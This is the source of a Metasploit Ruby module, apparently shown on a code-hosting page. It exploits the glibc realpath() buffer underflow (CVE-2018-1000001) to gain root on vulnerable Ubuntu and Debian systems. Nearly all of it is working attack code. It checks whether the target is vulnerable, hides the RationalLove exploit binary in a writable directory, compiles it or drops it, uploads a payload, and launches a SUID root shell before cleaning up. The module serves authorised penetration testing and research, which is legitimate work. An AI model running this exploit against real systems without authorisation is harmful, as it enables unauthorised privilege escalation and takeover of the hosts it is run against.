Path: blob/master/modules/exploits/linux/local/glibc_realpath_priv_esc.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Post::Linux::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => "glibc 'realpath()' Privilege Escalation",21'Description' => %q{22This module attempts to gain root privileges on Linux systems by abusing23a vulnerability in GNU C Library (glibc) version 2.26 and prior.2425This module uses halfdog's RationalLove exploit to exploit a buffer26underflow in glibc realpath() and create a SUID root shell. The exploit27has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.2829The target system must have unprivileged user namespaces enabled.3031This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)32with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc33version 2.24-11+deb9u1.34},35'License' => MSF_LICENSE,36'Author' => [37'halfdog', # Discovery and RationalLove.c exploit38'bcoles' # Metasploit39],40'DisclosureDate' => '2018-01-16',41'Platform' => [ 'linux' ],42'Arch' => [ ARCH_X86, ARCH_X64 ],43'SessionTypes' => [ 'shell', 'meterpreter' ],44'Targets' => [[ 'Auto', {} ]],45'Privileged' => true,46'References' => [47[ 'BID', '102525' ],48[ 'CVE', '2018-1000001' ],49[ 'EDB', '43775' ],50[ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],51[ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],52[ 'URL', 'https://securitytracker.com/id/1040162' ],53[ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],54[ 'URL', 'https://usn.ubuntu.com/3534-1/' ],55[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]56],57'DefaultTarget' => 0,58'Notes' => {59'AKA' => ['RationalLove.c'],60'Stability' => UNKNOWN_STABILITY,61'Reliability' => UNKNOWN_RELIABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63},64'Compat' => {65'Meterpreter' => {66'Commands' => %w[67stdapi_fs_delete_file68]69}70}71)72)73register_options [74OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])75]76register_advanced_options [77OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])78]79end8081def base_dir82datastore['WritableDir'].to_s83end8485def upload(path, data)86print_status "Writing '#{path}' (#{data.size} bytes) ..."87write_file path, data88register_file_for_cleanup path89end9091def upload_and_chmodx(path, data)92upload path, data93cmd_exec "chmod +x '#{path}'"94end9596def upload_and_compile(path, data)97upload "#{path}.c", data9899gcc_cmd = "gcc -w -o #{path} #{path}.c"100if session.type.eql? 'shell'101gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"102end103output = cmd_exec gcc_cmd104105unless output.blank?106print_error output107fail_with Failure::Unknown, "#{path}.c failed to compile"108end109110register_file_for_cleanup path111cmd_exec "chmod +x #{path}"112end113114def strip_comments(c_code)115c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')116end117118def exploit_data(file)119::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file)120end121122def live_compile?123return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')124125if has_gcc?126vprint_good 'gcc is installed'127return true128end129130unless datastore['COMPILE'].eql? 'Auto'131fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'132end133end134135def check136version = kernel_release137if Rex::Version.new(version.split('-').first) < Rex::Version.new('2.6.36')138vprint_error "Linux kernel version #{version} is not vulnerable"139return CheckCode::Safe140end141vprint_good "Linux kernel version #{version} is vulnerable"142143arch = kernel_hardware144unless arch.include? 'x86_64'145vprint_error "System architecture #{arch} is not supported"146return CheckCode::Safe147end148vprint_good "System architecture #{arch} is supported"149150version = glibc_version151if Rex::Version.new(version.split('-').first) > Rex::Version.new('2.26')152vprint_error "GNU C Library version #{version} is not vulnerable"153return CheckCode::Safe154end155vprint_good "GNU C Library version #{version} is vulnerable"156157# fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1158glibc_banner = cmd_exec('ldd --version')159unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')160vprint_error 'No offsets for this version of GNU C Library'161return CheckCode::Safe162end163164config = kernel_config165if config.nil?166vprint_error 'Could not retrieve kernel config'167return CheckCode::Unknown168end169170unless config.include? 'CONFIG_USER_NS=y'171vprint_error 'Kernel config does not include CONFIG_USER_NS'172return CheckCode::Safe173end174vprint_good 'Kernel config has CONFIG_USER_NS enabled'175176unless userns_enabled?177vprint_error 'Unprivileged user namespaces are not permitted'178return CheckCode::Safe179end180vprint_good 'Unprivileged user namespaces are permitted'181182CheckCode::Appears183end184185def exploit186if !datastore['ForceExploit'] && is_root?187fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')188end189190unless writable? base_dir191fail_with Failure::BadConfig, "#{base_dir} is not writable"192end193194unless writable? base_dir195fail_with Failure::BadConfig, "#{base_dir} is not writable"196end197198# Upload exploit executable199executable_name = ".#{rand_text_alphanumeric rand(5..10)}"200@executable_path = "#{base_dir}/#{executable_name}"201if live_compile?202vprint_status 'Live compiling exploit on system...'203upload_and_compile @executable_path, strip_comments(exploit_data('RationalLove.c'))204else205vprint_status 'Dropping pre-compiled exploit on system...'206upload_and_chmodx @executable_path, exploit_data('RationalLove')207end208209# Upload payload executable210payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"211upload_and_chmodx payload_path, generate_payload_exe212213# Launch exploit214print_status 'Launching exploit...'215output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30216output.each_line { |line| vprint_status line.chomp }217end218219def on_new_session(client)220# remove root owned SUID executable221if client.type.eql? 'meterpreter'222client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'223client.fs.file.rm @executable_path224else225client.shell_command_token "rm #{@executable_path}"226end227end228end229230231